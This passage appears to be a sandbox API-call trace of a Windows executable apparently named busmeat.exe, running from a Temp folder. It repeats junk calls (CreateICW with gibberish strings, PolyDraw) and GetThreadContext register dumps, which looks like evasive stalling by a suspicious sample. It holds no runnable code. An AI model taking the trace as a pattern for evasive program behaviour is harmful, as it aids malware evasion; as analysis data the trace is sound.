[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.137] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.138] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.138] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.138] GetConsoleCP () returned 0x0
	[0066.138] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.138] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.139] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.139] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.139] GetConsoleCP () returned 0x0
	[0066.139] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.139] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.140] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.140] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.140] GetConsoleCP () returned 0x0
	[0066.140] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 